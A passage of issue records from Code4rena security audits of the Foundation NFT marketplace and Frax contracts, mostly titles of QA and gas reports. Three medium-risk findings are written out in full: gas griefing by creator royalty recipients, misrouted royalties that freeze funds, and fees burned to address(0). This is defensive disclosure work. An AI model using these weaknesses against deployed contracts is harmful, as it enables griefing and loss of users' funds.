"body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/172", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/171", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/170", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/168", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/167", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "NFT creator sales revenue recipients can steal gas", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/165", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-08-foundation-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-foundation/blob/792e00df429b0df9ee5d909a0a5a6e72bd07cf79/contracts/mixins/shared/MarketFees.sol#L130 # Vulnerability details ## Impact Selling a NFT with `NFTDropMarketFixedPriceSale.mintFromFixedPriceSale` distributes the revenue from the sale to various recipients with the `MarketFees._distributeFunds` function. Recipients: - NFT creator(s) - NFT seller - Protocol - Buy referrer (optional) It is possible to have multiple NFT creators. Sale revenue will be distributed to each NFT creator address. Revenue distribution is done by calling `SendValueWithFallbackWithdraw._sendValueWithFallbackWithdraw` and providing an appropriate gas limit to prevent consuming too much gas. For the revenue distribution to the seller, protocol and the buy referrer, a gas limit of `SEND_VALUE_GAS_LIMIT_SINGLE_RECIPIENT = 20_000` is used. However, for the creators, a limit of `SEND_VALUE_GAS_LIMIT_MULTIPLE_RECIPIENTS = 210_000` is used. This higher amount of gas is used if `PercentSplitETH` is used as a recipient. A maximum of `MAX_ROYALTY_RECIPIENTS = 5` NFT creator recipients are allowed. For example, a once honest NFT collection and its 5 royalty creator recipients could turn \"malicious\" and could \"steal\" gas from NFT buyers on each NFT sale and therefore grief NFT sales. On each NFT sell, the 5 creator recipients (smart contracts) could consume the full amount of `SEND_VALUE_GAS_LIMIT_MULTIPLE_RECIPIENTS = 210_000` forwarded gas. Totalling `5 * 210_000 = 1_050_000` gas. With a gas price of e.g. `20 gwei`, this equals to additional gas costs of `21_000_000 gwei = 0.028156 eth`, with a `ETH` price of `2000`, this would total to ~`56.31 $` additional costs. ## Proof of Concept [mixins/shared/MarketFees.sol#L130](https://github.com/code-423n4/2022-08-foundation/blob/792e00df429b0df9ee5d909a0a5a6e72bd07cf79/contracts/mixins/shared/MarketFees.sol#L130) ```solidity /** * @notice Distributes funds to foundation, creator recipients, and NFT owner after a sale. */ function _distributeFunds( address nftContract, uint256 tokenId, address payable seller, uint256 price, address payable buyReferrer ) internal returns ( uint256 totalFees, uint256 creatorRev, uint256 sellerRev ) { address payable[] memory creatorRecipients; uint256[] memory creatorShares; uint256 buyReferrerFee; (totalFees, creatorRecipients, creatorShares, sellerRev, buyReferrerFee) = _getFees( nftContract, tokenId, seller, price, buyReferrer ); // Pay the creator(s) unchecked { for (uint256 i = 0; i < creatorRecipients.length; ++i) { _sendValueWithFallbackWithdraw( creatorRecipients[i], creatorShares[i], SEND_VALUE_GAS_LIMIT_MULTIPLE_RECIPIENTS // @audit-info A higher amount of gas is forwarded to creator recipients ); // Sum the total creator rev from shares // creatorShares is in ETH so creatorRev will not overflow here. creatorRev += creatorShares[i]; } } // Pay the seller _sendValueWithFallbackWithdraw(seller, sellerRev, SEND_VALUE_GAS_LIMIT_SINGLE_RECIPIENT); // Pay the protocol fee _sendValueWithFallbackWithdraw(getFoundationTreasury(), totalFees, SEND_VALUE_GAS_LIMIT_SINGLE_RECIPIENT); // Pay the buy referrer fee if (buyReferrerFee != 0) { _sendValueWithFallbackWithdraw(buyReferrer, buyReferrerFee, SEND_VALUE_GAS_LIMIT_SINGLE_RECIPIENT); emit BuyReferralPaid(nftContract, tokenId, buyReferrer, buyReferrerFee, 0); unchecked { // Add the referrer fee back into the total fees so that all 3 return fields sum to the total price for events totalFees += buyReferrerFee; } } } ``` ## Tools Used Manual review ## Recommended mitigation steps Consider only providing a higher amount of gas (`SEND_VALUE_GAS_LIMIT_MULTIPLE_RECIPIENTS`) for the first creator recipient. For all following creator recipients, only forward the reduced amount of gas `SEND_VALUE_GAS_LIMIT_SINGLE_RECIPIENT`. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/161", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/156", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/155", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "User-controlled external calls.", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/153", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged", "old-submission-method"], "target": "2022-08-foundation-findings", "body": "User-controlled external calls."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/151", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/150", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/149", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/148", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Forget to check \"Some manifolds contracts of ERC-2981 return (address(this), 0) when royalties are not defined\" in 3rd priority - MarketFees.sol", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/147", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "old-submission-method"], "target": "2022-08-foundation-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-foundation/blob/792e00df429b0df9ee5d909a0a5a6e72bd07cf79/contracts/mixins/shared/MarketFees.sol#L299-L301 # Vulnerability details ## Impact Wrong return of `cretorShares` and `creatorRecipients` can make real royalties party can't gain the revenue of sale. ## Proof of concept Function `getFees()` firstly [call](https://github.com/code-423n4/2022-08-foundation/blob/792e00df429b0df9ee5d909a0a5a6e72bd07cf79/contracts/mixins/shared/MarketFees.sol#L422-L430) to function `internalGetImmutableRoyalties` to get the list of `creatorRecipients` and `creatorShares` if the `nftContract` define ERC2981 royalties. ```solidity= try implementationAddress.internalGetImmutableRoyalties(nftContract, tokenId) returns ( address payable[] memory _recipients, uint256[] memory _splitPerRecipientInBasisPoints ) { (creatorRecipients, creatorShares) = (_recipients, _splitPerRecipientInBasisPoints); } catch // solhint-disable-next-line no-empty-blocks { // Fall through } ``` ----- In the [1st priority](https://github.com/code-423n4/2022-08-foundation/blob/792e00df429b0df9ee5d909a0a5a6e72bd07cf79/contracts/mixins/shared/MarketFees.sol#L236-L255) it check the `nftContract` define the function `royaltyInfo` or not. If yes, it get the return value `receiver` and `royaltyAmount`. In some manifold contracts of erc2981, it `return (address(this), 0)` when royalties are not defined. So we ignore it when the `royaltyAmount = 0` ```solidity= try IRoyaltyInfo(nftContract).royaltyInfo{ gas: READ_ONLY_GAS_LIMIT }(tokenId, BASIS_POINTS) returns ( address receiver, uint256 royaltyAmount ) { // Manifold contracts return (address(this), 0) when royalties are not defined // - so ignore results when the amount is 0 if (royaltyAmount > 0) { recipients = new address payable[](1); recipients[0] = payable(receiver); splitPerRecipientInBasisPoints = new uint256[](1); // The split amount is assumed to be 100% when only 1 recipient is returned return (recipients, splitPerRecipientInBasisPoints); } ``` ---- In the same sense, the [3rd priority](https://github.com/code-423n4/2022-08-foundation/blob/792e00df429b0df9ee5d909a0a5a6e72bd07cf79/contracts/mixins/shared/MarketFees.sol#L297-L312) (it can reach to 3rd priority when function `internalGetImmutableRoyalies` fail to return some royalties) should check same as the 1st priority with the `royaltyRegistry.getRoyaltyLookupAddress`. But the 3rd priority forget to check the case when `royaltyAmount == 0`. ```solidity= try IRoyaltyInfo(nftContract).royaltyInfo{ gas: READ_ONLY_GAS_LIMIT }(tokenId, BASIS_POINTS) returns ( address receiver, uint256 /* royaltyAmount */ ) { recipients = new address payable[](1); recipients[0] = payable(receiver); splitPerRecipientInBasisPoints = new uint256[](1); // The split amount is assumed to be 100% when only 1 recipient is returned return (recipients, splitPerRecipientInBasisPoints); } ``` It will make [function](https://github.com/code-423n4/2022-08-foundation/blob/792e00df429b0df9ee5d909a0a5a6e72bd07cf79/contracts/mixins/shared/MarketFees.sol#L98) `_distributeFunds()` transfer to wrong `creatorRecipients` (for example erc2981 return `(address(this), 0)`, market will transfer creator revenue to `address(this)` - market contract, and make the fund freeze in contract forever). This case just happen when * `nftContract` doesn't have any support for royalties info * `overrideContract` which was fetched from`royaltyRegistry.getRoyaltyLookupAddress(nftContract)` implements both function `getRoyalties` and `royaltyInfo` but doesn't support `royaltyInfo` by returning `(address(this), 0)`. ## Tools Used Manual review ## Recommended Mitigation Steps Add check if `royaltyAmount > 0` or not in 3rd priority "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/145", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/144", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/140", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/139", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/130", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/128", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/127", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/123", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/122", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/120", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/117", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/115", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/112", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/109", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/107", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/106", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/105", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/104", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/102", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/101", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/100", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/98", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/97", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Mints can be botted for hyped projects - bot protection is missing currently", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/93", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "Mints can be botted for hyped projects - bot protection is missing currently"}, {"title": "Because of ```unchecked```, the creator could bring back burned nft.", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/86", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "Because of ```unchecked```, the creator could bring back burned nft."}, {"title": "MarketFees.sol is not fully EIP-2981 compliant marketplace", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/85", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "MarketFees.sol is not fully EIP-2981 compliant marketplace"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/83", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/82", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/80", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/77", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/76", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/75", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/74", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/73", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/72", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/71", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/70", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/69", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/67", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/66", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/65", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "referral system in NFTDropMarketFixedPriceSale allows buyer to purchase everything with a discount", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/62", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "referral system in NFTDropMarketFixedPriceSale allows buyer to purchase everything with a discount"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/61", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/60", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Possible to bypass saleConfig.limitPerAccount", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/59", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-08-foundation-findings", "body": "Possible to bypass saleConfig.limitPerAccount"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/57", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/56", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/55", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/53", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/52", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/51", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/49", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/48", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/47", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/45", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/44", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/43", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/42", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/41", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/38", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/37", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/35", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "User may get all of the creator fees by specifying high number for himself", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/34", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-08-foundation-findings", "body": "User may get all of the creator fees by specifying high number for himself"}, {"title": "Creator fees may be burned", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/31", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-08-foundation-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-foundation/blob/7d6392498e8f3b8cdc22beb582188ffb3ed25790/contracts/mixins/shared/MarketFees.sol#L128 # Vulnerability details ## Impact `royaltyInfo`, `getRoyalties`, or `getFeeRecipients` may return `address(0)` as the recipient address. While the value 0 is correctly handled for the royalties itself, it is not for the address. In such a case, the ETH amount will be sent to `address(0)`, i.e. it is burned and lost. ## Recommended Mitigation Steps In your logic for determining the recipients, treat `address(0)` as if no recipient was returned such that the other priorities / methods take over."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/25", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "postRevealBaseURIHash is redundant", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/21", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "postRevealBaseURIHash is redundant"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/19", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/18", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/14", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/13", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/11", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/6", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-foundation-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/5", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/4", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-foundation-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-08-foundation-findings/issues/1", "labels": [], "target": "2022-08-foundation-findings", "body": "Agreements & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/364", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/363", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/362", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/360", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/359", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/358", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/357", "labels": ["bug", "low quality report", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/356", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/355", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/352", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/351", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/350", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/348", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/347", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/346", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/345", "labels": ["bug", "high quality report", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/344", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/343", "labels": ["bug", "low quality report", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/342", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-frax-findings/issues/341", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": 